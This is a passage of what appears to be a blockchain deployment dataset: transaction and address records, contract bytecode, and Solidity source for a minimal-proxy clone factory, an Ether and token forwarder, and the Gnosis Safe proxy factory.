Default function; Gets called when data is sent but does not match any other function */ fallback() external payable { flush(); } /** * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address */ receive() external payable { flush(); } /** * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract */ function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /** * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1
19,501,437
2c7de1caea43a2c5591665a1c81461fc7c7ab35b8d0316845dc8d989161ac4b2
fd6267ca04a58321cafa7bbef9cde5240b7722159a8806caaeef57be94507f29
099b1d292689be58f498f127f4e08fe4f0969bce
ffa397285ce46fb78c588a9e993286aac68c37cd
fea56e9a6c99ec77353c8b18dffc8b2298076e44
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /** * Contract that exposes the needed erc20 token functions */ abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /** * Contract that will forward any incoming Ether to the creator of the contract * */ contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /** * Initialize the contract, and sets the destination address to that of the creator */ function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /** * Modifier that will execute internal code block only if the sender is the parent address */ modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /** * Modifier that will execute internal code block only if the contract has not been initialized yet */ modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /** * Default function; Gets called when data is sent but does not match any other function */ fallback() external payable { flush(); } /** * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address */ receive() external payable { flush(); } /** * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract */ function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /** * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1
19,501,442
9a4e1f8a590449b48855ce50b21e3641b0efa80bfa47e51951508133667f10af
72edefb6c5af60ee545ee395121c1871f02db92b2477219ecb1cb4cec13eb152
644c018b8d0b53c615cc68541877e1cc98c64066
a6b71e26c5e0845f74c812102ca7114b6a896ab2
b4f5a30c9253705d83f5ce07f06b61b4eac81c20
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,501,443
9a0d8092f1165e18cfe97f31d417e7b322bfe655d5c2c59213391b025bd43070
1b68a56611cf38038d2221480bc8abc54fb705734117e5ed5d9df586fe1db1fd
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
e7ee9b25730c2ef049e2f75584fcdd88165bcff4
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,444
ef637368da7415ffb53b5d61ec1823838f3d0fc846995b13761baf6220e9d717
fc4d90b0da3b870086add9cc19e34760ab3083969fd1c58ed74a1317a4048cc5
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
d4c22647057ed39a720a08b37d2593a2249b468c
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,444
ef637368da7415ffb53b5d61ec1823838f3d0fc846995b13761baf6220e9d717
984f9636fa256b1083af579cc14f090fcd15d1a1c56d96cc24f7510a7f7ce939
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
8841571f3096d5647814c2fe181a481d613cb970
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,444
ef637368da7415ffb53b5d61ec1823838f3d0fc846995b13761baf6220e9d717
131045703035d25814ed91d1853cae9d04e807a9607d0be9937b69988a266108
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
d6ecf1e1f54fe337b4f73f74145b670a6bb347c7
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,444
ef637368da7415ffb53b5d61ec1823838f3d0fc846995b13761baf6220e9d717
94b444d5a9e7c082adb90e8c83745b5babfbde347348848407813dfeb3a51353
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
3767030f4f4dc66fbd671d23821174c5e5b2a5f9
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,445
095787bff401fa41b0357d93d767b52ba1ce20d23ccfdb7ae069868adab0ce2b
b65a98e7300d85b2f2301f71e1c01df239d62e1410423de2d90b8a463e209899
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
a7aa5bc570faf5be5f511aa2fd38af9a42542ef7
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,445
095787bff401fa41b0357d93d767b52ba1ce20d23ccfdb7ae069868adab0ce2b
56ca303aa0d0d6f479ba7ac01b462eced51ed81d349c57d5cb5392a16c93d0a2
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
843602b9a6d0ff9ed0356e776a890ef55812e176
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,445
095787bff401fa41b0357d93d767b52ba1ce20d23ccfdb7ae069868adab0ce2b
9c069c8ef72fe5dd1392c5c88a01f696fc93c8d19bdc12284ac4a726cd564a0b
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
3592fe7b2b03e7706630d938c56bdd70af8c589f
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,445
095787bff401fa41b0357d93d767b52ba1ce20d23ccfdb7ae069868adab0ce2b
e1a55fc831b2991e14ff03f894342b03258679c3026f3bf04bc4ec2537a651c3
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
8f168d8254942b25b1b4639315f759b0bb5e5beb
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,445
095787bff401fa41b0357d93d767b52ba1ce20d23ccfdb7ae069868adab0ce2b
e81246b4325f8555f4853af82355def910bc582ce8d8574c06395658019dfd0c
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
58c6a83dfd9178221ae21153d6ba333fbe6ef1ce
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,446
e091b52dc2feb8f74f99e6bd711493b224e28f70d0230a48c325c8d9be8dbe12
0827281c58146fa70d39599684466cfdee07d40289a84d856b4393603098176b
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
6ddf3093363d95e0604238d9bf6191726b25e6a3
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,446
e091b52dc2feb8f74f99e6bd711493b224e28f70d0230a48c325c8d9be8dbe12
5af762b0fb0519ed62e06601818e1defee904928c4ca1126a1dcf4effb275fdb
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
f5d4b0b27df302a4168577af167a28c8c3b51b09
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,446
e091b52dc2feb8f74f99e6bd711493b224e28f70d0230a48c325c8d9be8dbe12
3260e2c1c33918de1a2357925f6ab6dc97ee8ac4527f34a57b87c98f9505e865
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
99e45fc25b6f4ac7127cd1806c108e261f8f53fe
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,447
758c105075f1db9ec0d309c14c4de355b8061b9f44fb48e971723cdf2e243457
98e1b100a5143dcdf1c3960d1cb399ec407b411d370ec79c5722118124ad0937
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
9159219531d61cf8887276bafb64f67db3424c33
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,447
758c105075f1db9ec0d309c14c4de355b8061b9f44fb48e971723cdf2e243457
600cf6b57bc0b6cd63deec7902563009ba151d9541dd49bace107545bc6c0df0
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
24830d56ca73317251a5fe097dfaef2193277a80
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,447
758c105075f1db9ec0d309c14c4de355b8061b9f44fb48e971723cdf2e243457
ff5544f0057309aa81f4cc121aa469caf2d8355cd0a7f8a096bab44740418b38
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
0b78f8b369621eb4b726fe652cbe0aacd36aabaf
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,447
758c105075f1db9ec0d309c14c4de355b8061b9f44fb48e971723cdf2e243457
7297e464237088bde80e46b854f6b3a3431e647ace796785be35091a13abb131
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
801f492439353e6afc22b9b522714d495a1d3cfe
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,447
758c105075f1db9ec0d309c14c4de355b8061b9f44fb48e971723cdf2e243457
9dc735d2aef55e6f2a2db460049db01fad0b18c696d04bba806a99c7849f0075
000099b4a4d3ceb370d3a8a6235d24e07a8c0000
ee2a0343e825b2e5981851299787a679ce08216d
28e866703984f767c300114df6c145794767890f
6080604052348015600f57600080fd5b50604051610211380380610211833981016040819052602c916059565b600080546001600160a01b039092166001600160a01b031992831617905560018054909116331790556087565b600060208284031215606a57600080fd5b81516001600160a01b0381168114608057600080fd5b9392505050565b61017b806100966000396000f3fe60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c634300081900330000000000000000000000008906668094934bbfd0f787010fac65d8438019f5
60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c63430008190033
1
19,501,448
98c9f4b104e5d63756a95f5c0a0674d9b732f80dd71220455468cfdec24bd9e5
b4e2068907feef46df2d4f2bdc13703bf88a691f022f562d8fd17a8d1a48d597
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
04aed7e4c8bdd6fac659c10c9c91aab577492b18
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,448
98c9f4b104e5d63756a95f5c0a0674d9b732f80dd71220455468cfdec24bd9e5
03220df2ab6a93767738e2ec85f6e5db7283d393c7d2b1507c79a2af162efa7f
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
4f6271fe5cc9039a46065feb763d3a9a44abf69f
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,448
98c9f4b104e5d63756a95f5c0a0674d9b732f80dd71220455468cfdec24bd9e5
e07ed5bc015fbb88e274ed1c35f76dd4751ef20bea20005de8af940e4bd05e15
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
04066a6007001e705e22754aa9d5345a7eab706c
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,448
98c9f4b104e5d63756a95f5c0a0674d9b732f80dd71220455468cfdec24bd9e5
ebc176c8598d68efe8e4c253defabe29c687ce975863ed470343ab83bdf37c6a
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
2246ecbd862ed55ecc20e0cc12665f434298ae82
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,448
98c9f4b104e5d63756a95f5c0a0674d9b732f80dd71220455468cfdec24bd9e5
2cc9f4e64b29b701a50bd55c0f7f108d07576737dbf9d493f60e121f56c983de
